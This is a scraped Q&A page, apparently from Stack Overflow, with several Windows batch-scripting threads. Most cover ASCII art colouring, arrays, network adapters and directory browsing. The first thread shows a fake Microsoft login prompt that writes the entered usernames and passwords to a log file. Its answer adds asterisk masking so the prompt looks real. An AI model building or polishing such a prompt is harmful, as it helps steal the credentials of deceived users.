Kelogger/pasowrd asterrix replace - batch-file

I would like to make a keylogger and I want the password to look like its asterisk like in the log on:
#echo off
mode con: cols=10000 lines=300
color a
title Login
cls
echo LOGIN ERROR
ver
echo (c) 2017 Microsoft Corporation. All rights reserved.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start open2.bat
exit
I expect it to look real I have tried searching but all I found is for the log on screen I want it for the desktop
just text no asterisks

I know this is a duplicate question here on StackOverFlow but I can't find it. I may have found this code on DosTips.com as well. When I find the original links I will update the question.
Essentially this is the code you are looking for to mask password input with asterisks.
#echo off &setlocal
:username
cls
SET "username="
SET /P "username=Enter your username:"
IF NOT DEFINED username GOTO username
:password
cls
<nul set /p "=Enter your password: "
call :HInput password
IF NOT DEFINED password GOTO password
setlocal EnableDelayedExpansion
echo user:%username% pass:!password!
pause
goto :eof
:HInput [ByRef_VarName]
:: inspired by Carlos
:: improved by pieh-ejdsch
if "%__HI__%" neq "__HI__" (
setlocal DisableDelayedExpansion
set "S=" &set "N=0" &set "__HI__=__HI__"
for /f %%i in ('"prompt;$h&for %%i in (1) do rem"') do set "BS=%%i"
)
set "C="
for /f "eol=1 delims=" %%i in ('xcopy /lwq "%~f0" :\') do set "C=%%i"
set "C=%C:~-1%"
setlocal EnableDelayedExpansion
if not defined C (
echo(
if "%~1"=="" (
echo(!S!
endlocal &endlocal &exit /b %N%
) else (
if defined S (
for /f delims^=^ eol^= %%i in ("!S!") do endlocal &endlocal &set "%~1=%%i" &exit /b %N%
) else endlocal &endlocal &set "%~1=" &exit /b 0
)
)
if "!BS!"=="!C!" (
set "C="
if defined S set /a "N -= 1" &set "S=!S:~,-1!" &<nul set /p "=%BS% %BS%"
) else set /a "N += 1" &<nul set /p "=*"
if not defined S (
endlocal &set "N=%N%" &set "S=%C%"
) else for /f delims^=^ eol^= %%i in ("!S!") do endlocal &set "N=%N%" &set "S=%%i%C%"
goto HInput

Related

Undetectable issue with large multi-color batch ascii art

I'm having a strange issue where some large multi-colored ascii art will display irregularly, either only displaying the bottom 1/5 or so of the art, or the top 9 lines of the art if they are commented and un-commented.
The following batch code is being used to multi-color stuff.
:c
setlocal enableDelayedExpansion
:colorPrint Color Str [/n]
setlocal
set "s=%~2"
call :colorPrintVar %1 s %3
exit /b
:colorPrintVar Color StrVar [/n]
if not defined DEL call :initColorPrint
setlocal enableDelayedExpansion
pushd .
':
cd \
set "s=!%~2!"
for %%n in (^"^
^") do (
set "s=!s:\=%%~n\%%~n!"
set "s=!s:/=%%~n/%%~n!"
set "s=!s::=%%~n:%%~n!"
)
for /f delims^=^ eol^= %%s in ("!s!") do (
if "!" equ "" setlocal disableDelayedExpansion
if %%s==\ (
findstr /a:%~1 "." "\'" nul
<nul set /p "=%DEL%%DEL%%DEL%"
) else if %%s==/ (
findstr /a:%~1 "." "/.\'" nul
<nul set /p "=%DEL%%DEL%%DEL%%DEL%%DEL%"
) else (
>colorPrint.txt (echo %%s\..\')
findstr /a:%~1 /f:colorPrint.txt "."
<nul set /p "=%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%"
)
)
if /i "%~3"=="/n" echo(
popd
exit /b
:initColorPrint
for /f %%A in ('"prompt $H&for %%B in (1) do rem"') do set "DEL=%%A %%A"
<nul >"%cd%\'" set /p "=."
subst ': "%cd%" >nul
exit /b
:cleanupColorPrint
2>nul del "%cd%\'"
2>nul del "%cd%\colorPrint.txt"
>nul subst ': /d
exit /b
https://pastebin.com/Z1CKjwWR
but the real meat of the issue comes with trying to display this anime girl
https://pastebin.com/W0w1AtNN
Is anyone able to tell what causes the display issues, and why? None of my experimentation got me anywhere.

Batch assign array value to variable

I have this code:
#echo off
SET /a counter=0
SET _inputname=
Set interfejs=ala
FOR /f "skip=3 tokens=*" %%a in ('netsh int ip show interfaces') do ( call :myfunct "%%a" )
SET /P _inputname=interface:
IF "%_inputname%" LEQ "%counter%" IF "%_inputname%" GTR "0" (
echo variable value:%_inputname%
call echo [%_inputname%] %%NetInterfNames[%_inputname%]%%
rem problem with assigning array value to a variable.
Set interfejs=%%NetInterfNames[%_inputname%]%%
echo to jest wybrany interface: %interfejs%
Rem split string
rem for /F "tokens=1,*" %%a in ("hello how are you") do echo %%b
)
IF "%_inputname%" GTR "%counter%" ( GOTO :EOF )
IF "%_inputname%" EQU "0" ( GOTO :EOF )
goto: EOF
:myfunct
set /a counter=%counter%+1
set NetInterfNames[%counter%]=%~1
call echo [%counter%] %%NetInterfNames[%counter%]%%
Inside I'm trying to assign a value taken from array to variable using this
Set interfejs=%%NetInterfNames[%_inputname%]%%
Problem is that value form array is not assigned.
Does anyone have an idea of what to do with it?
And here it is without enabling delayed expansion, to show you that you needed to use an additional Call, as per my commented advice. (I've added a Pause to allow you to see any output):
#Echo Off
Set "counter=0"
Set "_inputname="
Set "interfejs=ala"
For /F "Skip=3 Tokens=*" %%A In ('NetSh int ip show interfaces') Do Call :myfunct "%%A"
Set /P "_inputname=interface: "
If "%_inputname%" LEq "%counter%" If "%_inputname%" Gtr "0" (
Echo variable value:%_inputname%
Call Echo [%_inputname%] %%NetInterfNames[%_inputname%]%%
Rem no problem with assigning array value to a variable.
Call Set "interfejs=%%NetInterfNames[%_inputname%]%%"
Call Echo to jest wybrany interface: %%interfejs%%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
)
If "%_inputname%" Gtr "%counter%" GoTo :EOF
If "%_inputname%" Equ "0" GoTo :EOF
Pause&GoTo :EOF
:myfunct
Set /A counter+=1
Set "NetInterfNames[%counter%]=%~1"
Call Echo [%counter%] %%NetInterfNames[%counter%]%%
However if you move two of your If commands, you can completely negate the need for one of the code blocks:
#Echo Off
Set "interfejs=ala"
Set "counter=0"
For /F "Skip=3 Tokens=*" %%A In ('NetSh int ip show interfaces') Do Call :myfunct "%%A"
Set "_inputname="
Set /P "_inputname=interface: "
If Not Defined _inputname GoTo :EOF
If "%_inputname%" Gtr "%counter%" GoTo :EOF
If "%_inputname%" Equ "0" GoTo :EOF
Echo variable value:%_inputname%
Call Echo [%_inputname%] %%NetInterfNames[%_inputname%]%%
Call Set "interfejs=%%NetInterfNames[%_inputname%]%%"
Echo to jest wybrany interface: %interfejs%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
Pause&GoTo :EOF
:myfunct
Set /A counter+=1
Set "NetInterfNames[%counter%]=%~1"
Call Echo [%counter%] %%NetInterfNames[%counter%]%%
You could probably improve things a little too, still without enabling delayed expansion:
#Echo Off
For /F "Delims==" %%A In ('Set NetInterfNames[ 2^>NUL')Do Set "%%A="
For /F "Tokens=1* Delims=:" %%A In (
'NetSh int ip show interfaces 2^>NUL^|Findstr "[0-9]"^|FindStr /N "^"'
)Do Set "NetInterfNames[%%A]=%%B"&Call Echo [%%A] %%NetInterfNames[%%A]%%
:Input
Set /P "_inputname=interface: "
If Not Defined NetInterfNames[%_inputname%] GoTo Input
Call Set "_interfejs=%%NetInterfNames[%_inputname%]%%"
Echo to jest wybrany interface: %_interfejs%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
Pause&GoTo :EOF
Or with delayed expansion:
#Echo Off
SetLocal EnableDelayedExpansion
For /F "Delims==" %%A In ('Set NetInterfNames[ 2^>NUL')Do Set "%%A="
For /F "Tokens=1* Delims=:" %%A In (
'NetSh int ip show interfaces 2^>NUL^|Findstr "[0-9]"^|FindStr /N "^"'
)Do Set "NetInterfNames[%%A]=%%B"&Echo [%%A] !NetInterfNames[%%A]!
:Input
Set /P "_inputname=interface: "
If Not Defined NetInterfNames[%_inputname%] GoTo Input
Set "_interfejs=!NetInterfNames[%_inputname%]!"
Echo to jest wybrany interface: %_interfejs%
Rem split string
Rem For /F "Tokens=1*" %%A In ("hello how are you") Do Echo %%B
Pause&GoTo :EOF
If you enabledelayedexpansion it will help you achieve this much easier.
#echo off
setlocal enabledelayedexpansion
SET /a counter=0
SET _inputname=
Set interfejs=ala
FOR /f "skip=3 tokens=*" %%a in ('netsh int ip show interfaces') do call :myfunct "%%~a"
SET /P _inputname=interface:
IF %_inputname% LEQ %counter% IF %_inputname% GTR 0 (
echo variable value:%_inputname%
echo [%_inputname%] !NetInterfNames[%_inputname%]!
Set interfejs=!NetInterfNames[%_inputname%]!
echo to jest wybrany interface: !interfejs!
)
IF %_inputname% GTR %counter% GOTO :EOF
IF %_inputname% EQU 0 GOTO :EOF
goto :eof
:myfunct
set /a counter+1
set NetInterfNames[%counter%]=%~1
call echo [%counter%] !NetInterfNames[%counter%]!

Batch Loop in loop

trying to get a batch to output network adapter names for another batch file. so far this works...
#echo off
set ignore=true
for /F "delims=" %%a in ('netsh interface show interface')do call :Sub %%a
goto :eof
:sub
if not "%adapter1%" EQU "" goto :2
set Line=%*
if "%Line:~0,10%" EQU "----------" (set ignore=false & goto :eof)
if %ignore% EQU true goto :eof
for /F "tokens=4*" %%b in ('echo %*') do set Adapter1=%%b
echo %Adapter1%
goto :eof
)
:2
for /F "tokens=4*" %%c in ('echo %*') do set Adapter2=%%c
echo %adapter2%
pause
But is there a way to loop the second part so the output would continue with
Adapter#="Adapter Name" until there are no adapters left.
I've tried to use..
set /a c=1
:sub
for /F "tokens=4*" %%c in ('echo %*') do (
set /a c=c+1
Set Adapter%c%=%%b
echo %adapter2%
)
couple of issues here trying to call a variable made of Variables ie.%adapter%c%%
and the other being i have no idea how to loop this back to the next line.
I realise i could keep expanding this but it would be horrendous.
#echo off
set ignore=true
for /F "delims=" %%a in ('netsh interface show interface')do call :Sub %%a
goto :eof
:sub
if not "%adapter2%" EQU "" goto :3
if not "%adapter1%" EQU "" goto :2
set Line=%*
if "%Line:~0,10%" EQU "----------" (set ignore=false & goto :eof)
if %ignore% EQU true goto :eof
for /F "tokens=4*" %%b in ('echo %*') do set Adapter1=%%b
echo %Adapter1%
goto :eof
)
:2
for /F "tokens=4*" %%c in ('echo %*') do set Adapter2=%%c
echo %adapter2%
pause
:3
for /F "tokens=4*" %%c in ('echo %*') do set Adapter3=%%c
echo %adapter3%
pause
Frustrated >.< , can't get my head around how its supposed to work. Any help appreciated. Thanks
It's much easier to skip the first 3 lines of the output
As the adapter name could contain spaces your approach with tokens=4 can't work,
use an asterisk to catch the remainder of the parsed line in the next for var.
:: Q:\Test\2019\03\15\SO_55189424.cmd
#Echo off&SetLocal EnableDelayedExpansion
Set Cnt=0
for /f "skip=3 tokens=1-3*" %%A in ('
netsh interface show interface
') Do (
Set /A Cnt+=1
Set "Adapter!Cnt!=%%D"
)
Set Adapter
Sample Output:
> Q:\Test\2019\03\15\SO_55189424.cmd
Adapter1=VirtualBox Host-Only Network
Adapter2=Ethernet
Adapter3=Ethernet 2

batch file to mask input with * without an external file

i need batch file to mask the input with * without external file and i need the code to be fast to write letters
FOR EXAMPLE:
#echo off
set char=*
set /p variable=Enter your password:
set char=%variable%
echo %char%
pause
Here is a way to do it using Powershell in a batch file
#echo off
set "psCommand=powershell -Command "$pword = read-host 'Enter Password' -AsSecureString ; ^
$BSTR=[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pword); ^
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)""
for /f "usebackq delims=" %%p in (`%psCommand%`) do set password=%%p
echo %password%
Powershell is installed by default on all newer OS's so it's a good compromise. If you have to support XP machines, you can do something similar with VBScript.
Yes! There is a way in pure batch, with misusing of xcopy and prompt command we can do it
#echo off
setlocal enabledelayedexpansion
call:show "Enter your passwordÿ" "0a"
call:hidePass
set /p password=<_tmp&del _tmp&echo/
echo/%password%
pause>nul
exit
:hidePass
set "str="
set "chars="
:writing
set "key="
for /F "usebackq delims=" %%L in (`xcopy /L /w "%~f0" "%~f0" 2^>NUL`) do (
if not defined key set "key=%%L"
)
setlocal EnableDelayedExpansion
set "key=!key:~-1!"
if "%key%" == "" (echo/!str!>_tmp&exit/b)
call:show "-" "0c"
set "str=!str!!key!"
goto :writing
:show
for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do (
set "DEL=%%a"
)
call :ColorText %~2 "%~1"
exit/b
:ColorText
<nul set /p ".=%DEL%" > "%~2"
findstr /v /a:%1 /R "^$" "%~2" nul
del "%~2" > nul 2>&1
exit/b
The only problem is you can not use * as mask, in this case I'm using -

Directory traversal and file selection with .bat

I am trying to write a .bat file that allows me to traverse through directories (up or down) and let me select a file from the current directory, passing that filename out at the end of the routine. Ideally, it would handle if it is at the root of a drive (i.e. C:) or that there are no more sub directories.
(If there are more elegant ways of doing what I am asking, please feel free to suggest them!)
#echo off
setlocal enabledelayedexpansion
set FVAR=
:start
::-------------------------------------------------------
:: LIST - Lists all files in the current folder
::-------------------------------------------------------
:LIST
echo.
if exist . echo ^<DIR^> .
if exist .. echo ^<DIR^> ..
for /f "tokens=* delims=" %%a in ('dir /b /ad') do (
echo ^<DIR^> %%a
)
for /f "tokens=* delims=" %%a in ('dir /b /a-d') do (
echo %%a
)
::-------------------------------------------------------
:: INPUT - Requests filename as input from user
::-------------------------------------------------------
:INPUT
echo.
set /p FVAR="Choose your file [HINT: hit <TAB> to cycle the current folder contents]: "
echo.
echo %FVAR%
if not defined FVAR (goto TRYAGAIN)
set FVARFLAG1=0
set FVARFLAG2=0
set FVARFLAG=%FVARFLAG1%%FVARFLAG2%
echo %FVARFLAG%
if exist %FVAR%\ set "%FVARFLAG1%"=="1"
if exist %FVAR% set "%FVARFLAG2%"=="1"
set FVARFLAG=%FVARFLAG1%%FVARFLAG2%
echo %FVARFLAG%
if "%FVARFLAG%"=="00" goto TRYAGAIN
if "%FVARFLAG%"=="01" goto FILE
if "%FVARFLAG%"=="10" goto DIR
if "%FVARFLAG%"=="11" goto TRYAGAIN
goto TRYAGAIN
:DIR
if exist %FVAR%\ (
echo Successfully set dir name!
goto END
)
goto TRYAGAIN
:FILE
if exist %FVAR% (
echo Successfully set file name!
goto END
)
goto TRYAGAIN
rem if /i "%option:"=%"=="Y" goto YES //This line left in for future use
rem if /i "%option:"=%"=="N" goto NO //This line left in for future use
goto END
::-------------------------------------------------------
:: TRYAGAIN - Returns user to input menu on invalid entry
::-------------------------------------------------------
:TRYAGAIN
echo ------------------------------
echo Invalid selection...try again
echo ------------------------------
goto INPUT
:END
goto :EOF
I like this application! The use of arrays allows you to write simpler and more powerful code. This is my version:
#echo off
setlocal EnableDelayedExpansion
rem Select a file browsing a directory tree
rem Antonio Perez Ayala
set pageSize=30
rem Load current directory contents
:ProcessThisDir
for /F "delims==" %%a in ('set name[ 2^>NUL') do set "%%a="
set numNames=0
for /D %%a in (*) do (
set /A numNames+=1
set "name[!numNames!]=<DIR> %%a"
)
for %%a in (*.*) do (
set /A numNames+=1
set "name[!numNames!]= %%a"
)
rem Show directory contents, one page at a time
set start=1
:ShowPage
if %start% equ 1 (
set "less="
) else (
set "less=-=Previous page, "
)
set /A end=start+pageSize-1
if %end% gtr %numNames% (
set end=%numNames%
set "more="
) else (
set "more=+=Next page, "
)
cls
echo Directory: %CD%
echo/
for /L %%i in (%start%,1,%end%) do echo %%i- !name[%%i]!
echo/
:GetOption
set "option="
set /P "option=Enter desired item (%less%%more%Nothing=..): "
if not defined option (
cd ..
goto ProcessThisDir
) else if "%option%" equ "-" (
set /A start-=pageSize
if !start! lss 1 set start=1
goto ShowPage
) else if "%option%" equ "+" (
if defined more set /A start+=pageSize
goto ShowPage
) else if not defined name[%option%] (
goto GetOption
) else if "!name[%option%]:~0,5!" equ "<DIR>" (
cd "!name[%option%]:~8!"
goto ProcessThisDir
)
rem Return selected file
cls
for %%a in ("!name[%option%]:~8!") do set "result=%%~Fa"
echo Result="%result%"

Resources